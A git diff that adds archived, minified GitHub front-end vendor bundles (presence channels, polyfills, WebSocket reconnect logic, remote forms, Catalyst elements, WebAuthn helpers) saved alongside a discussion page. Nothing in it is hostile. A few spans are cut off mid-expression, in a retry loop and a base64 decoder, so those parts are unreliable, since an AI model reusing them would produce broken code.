b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var 